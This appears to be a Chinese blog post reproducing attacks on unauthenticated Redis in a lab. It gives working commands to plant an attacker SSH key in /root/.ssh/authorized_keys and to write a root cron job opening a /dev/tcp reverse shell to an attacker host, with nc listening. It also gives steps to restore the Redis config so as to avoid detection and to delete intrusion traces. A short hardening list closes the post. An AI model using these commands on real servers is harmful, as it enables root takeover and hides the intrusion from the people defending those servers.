redis未授权利用

Redia未授权访问利用

漏洞成因

  1. 未开启登录验证,并且把IP绑定到0.0.0.0
  2. 未开启登录验证,没有设置绑定IP,protected-mode关闭

利用

写SSH-keygen

原理

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密(非对称),其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:

(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端; 
(2)客户端发起登录请求,发送自己的相关信息; 
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端; 
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证; 
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

利用条件

  1. root账号启动redis服务
  2. 服务器开放SSH服务,允许密钥登录。

复现

1.在攻击机生成公私钥

$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 

2.切换到当前用户的ssh目录,在公钥中加入换行符

cd /home/kali/.ssh
cat id_rsa.pub
\n \n \n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYeEAWFj5M+ZtyPKe8Fi6jqlOvkAuurYqBaVP1Nez43oicr4SaynIUszCc0357m6VOuOPW+zRI4/Gu0pdWPDJbVXGqiBEtI3qvyqBdbZH8yfyXqmheOG5657eNoqlyTBgwUfIjmDEGWTuRRheC9DNc85YHvabc9UdAes7YcPGYfekTJM+7DeunTzvrWojpGL2FMH7RqlH/HSwKRYUzPfnEpu5U3qBdT8ZX1dtC6iNXiVtK/fICh4WZ/2rrEy0wfyLctYhNGmyzNgmR/gVnbBijv6RxOOzvB35chnGMXFXK8a1HY8ZzmjylsgVdlKNbuq1r7K9mhwml91vUXMzMnLEsNACw90MCtsjdl/qRx91skfn0s+6wbUlBZhNt2OUHqiwRKg0TDY8q0zag4WWQvAOvxsDDjPnrFzdFcLUwGYfPRb0mvxeC2Fm1tewMfhuKFRKG9FIU5eVPrfRo8HjeZKtu6YlSE6u4Fo1OLG8bZghuJ9qM7RlGi2MUyJAgDRuk3PU= kali@kali \n \n \n

3.连接redis

redis-cli -h 192.168.59.130 -p 6379

4.利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys,写入ssh公钥

config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n \n \n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYeEAWFj5M+ZtyPKe8Fi6jqlOvkAuurYqBaVP1Nez43oicr4SaynIUszCc0357m6VOuOPW+zRI4/Gu0pdWPDJbVXGqiBEtI3qvyqBdbZH8yfyXqmheOG5657eNoqlyTBgwUfIjmDEGWTuRRheC9DNc85YHvabc9UdAes7YcPGYfekTJM+7DeunTzvrWojpGL2FMH7RqlH/HSwKRYUzPfnEpu5U3qBdT8ZX1dtC6iNXiVtK/fICh4WZ/2rrEy0wfyLctYhNGmyzNgmR/gVnbBijv6RxOOzvB35chnGMXFXK8a1HY8ZzmjylsgVdlKNbuq1r7K9mhwml91vUXMzMnLEsNACw90MCtsjdl/qRx91skfn0s+6wbUlBZhNt2OUHqiwRKg0TDY8q0zag4WWQvAOvxsDDjPnrFzdFcLUwGYfPRb0mvxeC2Fm1tewMfhuKFRKG9FIU5eVPrfRo8HjeZKtu6YlSE6u4Fo1OLG8bZghuJ9qM7RlGi2MUyJAgDRuk3PU= kali@kali \n \n \n"
save

5.在攻击机使用ssh连接

ssh  -i id_rsa root@192.168.59.130

写计划任务反弹shell

用户定义的设置,位于文件:/var/spool/cron/用户名

原理

/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。

执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。

利用条件

redis是以root用户启动

复现

攻击机监听

nc -lvnp 9090

连接redis

redis-cli -h 192.168.59.130 -p 6379

在redis中操作

#获取dir的值
config get dir
#获取dbfilename的值
config get dbfilename
#设置数据库备份目录为linux计划任务目录
config set dir '/var/spool/cron'
#设置备份文件名为root,以root身份执行计划任务
config set dbfilename 'root'
set 34d "\n* * * * * /bin/sh -i >& /dev/tcp/192.168.59.129/9090 0>&1\n"
save

接收到shell稳定后后恢复数据

#删除新增的key
del  key
#恢复dir和dbfilename
config set dir ''
config set dbfilename ''

删除入侵痕迹

rm -rf /var/spool/mail/root
删除计划任务
rm -rf /var/spool/cron/root

写webshell

原理

利用条件

  1. 已知web的绝对路径
  2. 具有读写权限

防护

禁止一些高危命令

以低权限运行 Redis 服务

为 Redis 添加密码验证

禁止外网访问 Redis

修改默认端口

保证 authorized_keys 文件的安全

设置防火墙策略

posted @ 2023-05-12 14:12  whoam1  阅读(118)  评论(0)    收藏  举报